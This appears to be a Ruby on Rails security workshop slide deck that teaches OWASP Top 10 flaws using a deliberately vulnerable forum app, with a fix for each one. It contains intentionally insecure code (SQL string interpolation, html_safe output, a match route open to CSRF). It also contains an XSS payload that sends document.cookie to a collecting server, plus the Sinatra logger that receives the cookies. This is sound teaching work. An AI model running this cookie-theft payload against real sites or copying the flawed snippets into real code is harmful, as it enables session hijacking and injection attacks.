65
Web applications hacking Ruby on Rails example by Karol Topolski

RoR Workshop - Web applications hacking - Ruby on Rails example

Embed Size (px)

Citation preview

Web applications hackingRuby on Rails example

by Karol Topolski

● Software House located in Krakow● Ruby on Rails, Android and iOS● Specialized in building web and mobile applications ● Collaborating with many companies and startups from all over

the world

ABOUT US:

2009 - software house was founded 50 projects created

40 employees

Awards:

OUR HISTORY:

Top Web & Software Developers in Poland 2015

Top Tens Ruby on Rails Development Companies

HOMEAHEAD

PROEST

Software for gastronomy

OWASP TOP 101. Injection2. Broken authentication and session management3. Cross-Site Scripting4. Insecure direct object reference5. Security misconfiguration6. Sensitive data exposure7. Missing function level access control8. Cross-Site Request Forgery9. Using components with known vulnerabilities

10. Unvalidated redirects and forwards

Target Application

Simple Ruby on Rails forum

Ruby 2.3.0

Rails 4.2.6

PostgreSQL 9.4

https://github.com/railwaymen/hacking-forum.git

PostgreSQL Database schema

# app/controllers/forum_threads_controller.rb

class ForumThreadsController < ApplicationController def show @thread = ForumThread.find_by title: params[:title] endend

# config/routes.rb

resources :forum_threads, param: :title, only: :show do resources :comments, only: :createend

SEARCHING THE FORUM THREAD BY TITLE:

# app/controllers/forum_threads_controller.rb

class ForumThreadsController < ApplicationController def show @thread = ForumThread.find_by “title = #{params[:title]}” endend

# config/routes.rb

resources :forum_threads, param: :title, only: :show do resources :comments, only: :createend

SEARCHING THE FORUM THREAD BY TITLE:

Is SQL injection impossible in Rails?

Unfortunately, no. It’s possible,

just not dropping tables.

Further reading:rails-sqli.org

# app/controllers/comments_controller.rb

class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end

private

def comment_params params.require(:comment).permit(:content) endend

# app/views/forum_threads/show.haml%p= comment.content

COMMENTS - create and show:

# app/controllers/comments_controller.rb

class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end

private

def comment_params params.require(:comment).permit(:content) endend

# app/views/forum_threads/show.haml%p= comment.content.html_safe

COMMENTS - create and show:

<!-- XSS test -->

Hi guys!

<script> alert(“I came for your cookies!“) </script>

<!-- Time to get some cookies! -->

What’s up?

<script> xhttp = new XMLHttpRequest(); xhttp.open(“GET”, “http://localhost:4567/cookies/” + document.cookie); xhttp.send();</script>

XSS ATTACK - TEST AND STEALING COOKIES

require ‘sinatra’require ‘logger’

logger = Logger.new ‘log/cookies.log’

get ‘/cookies/:cookie’ do logger.info ‘=== COOKIE ===’ logger.info params[:cookie] logger.info ‘/== COOKIE ===’end

XSS ATTACK - SIMPLE COOKIES LOGGING SERVER

Are all cookies HTTPOnly in Rails?

cookies[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”

cookies.signed[:after_sign_in_path] = ‘http://localhost/after_sign_in_path’// document.cookies=”after_sign_in_path=’http://malicious.site/phishing’”

cookies.signed[:after_sign_in_path] = { value: ‘http://localhost/after_sign_in_path’, httponly: true}// finally safe

UNFORTUNATELY - NO. ALWAYS USE THIS HASH!

It’s safe from cookies stealing,but is it safe from XSS?

# app/controllers/comments_controller.rb

class CommentsController < ApplicationController def create @thread = ForumThread.find params[:forum_thread_id] @comments = @thread.comments.build comment_params @comments.user = current_user if @comment.save redirect_to @thread, notice: ‘Successfully added new comment’ else redirect_to @thread, alert: “Couldn’t save comment“ end end

private

def comment_params params.require(:comment).permit(:content) endend

# app/views/forum_threads/show.haml%p= sanitize comment.content.html_safe

COMMENTS - create and show:

Further reading:molily.de/xss/

# app/controllers/application_controller.rb

class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs you may want to use :null_session instead. protect_from_forgery with: :exceptionend

DEFAULT CSRF PROTECTION IN RAILS:

Is Rails CSRF protection unbreakable?

HTTP Verbs

● GET● POST● PUT● PATCH● DELETE● HEAD● OPTIONS● TRACE● CONNECT

HTTP Verbs NOT protected by Rails CSRF● GET● POST● PUT● PATCH● DELETE● HEAD● OPTIONS● TRACE● CONNECT

CSRF pitfall in Rails routing

# config/routes.rb

match ‘/forum_threads/:forum_thread_id/comments/:id/update’, to: ‘comments#update’, via: :all # Rails 4+

CSRF PITFALL IN RAILS ROUTING - MATCH:

Is Rails CSRF protection 100% safe?

Yes it is - unless you’re not staying close to Rails guides

Further reading: https://rorsecurity.info/portfolio/cross-site-

request-forgery-and-rails

Sensitive data exposure

1. Credentials leaking to public repositories.

2. Lack of proper in-app authorization.

3. Debugging information in production enviroments.

4. Access not restricted, wrong access privileges.

5. Lack of encryption.

6. API responses containing sensitive data.

Protecting against sensitive data exposure

1. Code reviews.

2. Careful authorization.

3. Strict access.

4. Encryption.

5. API exposing only necessary information.

Creating the secure API

# app/controllers/forum_threads_controller.rb

def index @threads = ForumThread.order(updated_at: :desc) respond_to do |format| format.html format.json { render json: @threads } endend

GENERATED RAILS API

[ { ”id”: 2, ”title”: "Curabitur vel vulputate libero.", ”created_at”: "2016-04-18T10:10:40.648Z", ”updated_at”: "2016-04-18T10:10:40.648Z" }, { "id": 1, "title": "Lorem ipsum dolor sit amet.", "created_at": "2016-04-18T10:10:40.607Z", "updated_at": "2016-04-18T10:10:40.607Z" }]

GENERATED RAILS API - OUTPUT

# app/controllers/forum_threads_controller.rb

def index @threads = ForumThread.order(updated_at: :desc) respond_to do |format| format.html format.json { render json: @threads.only(:title).to_json } endend

GENERATED RAILS API - SECURING THE OUTPUT

[ { ”title”: "Curabitur vel vulputate libero." }, { "title": "Lorem ipsum dolor sit amet." }]

GENERATED RAILS API - SECURED OUTPUT

Solutions for building pretty, secure APIs

Active Model Serializers

● Object Oriented approach● Ability to define decorating methods● All Ruby!● Flexible● Easy to test● Adapter to follow JSON API v1.0 schema● YARD documented

Jbuilder

● Templates approach● ERblike - might be easy for newcomers● Flexible● Hard to test● No real “adapter” - if you want JSON

API v1.0, you have to do it by yourself

Summary

Things to remember from this workshop:

1. Never trust anything that comes from user. Params, cookies, headers, everything. Nothing that comes from user is safe to use.

2. Always sanitize your HTML output. Especially when you’re allowing links or images that comes from user.

3. Be careful with match routing. Just don’t use it if you don’t have to.

4. Inspect your outputs. Return only necessary information from your API.

5. Last but not least. Get someone to review your code.

Thank you for your attention.

Na zjeździe 1130-527 Krakow, Polandtel: +48 12 391 60 76

Silicon Valley Acceleration Center. 180 Sansome Street San Francisco, CA 94104tel: 1-415-449-4791

[email protected]

www.railwaymen.org

@Railwaymen_org

railwaymen.software.development

/company/railwaymen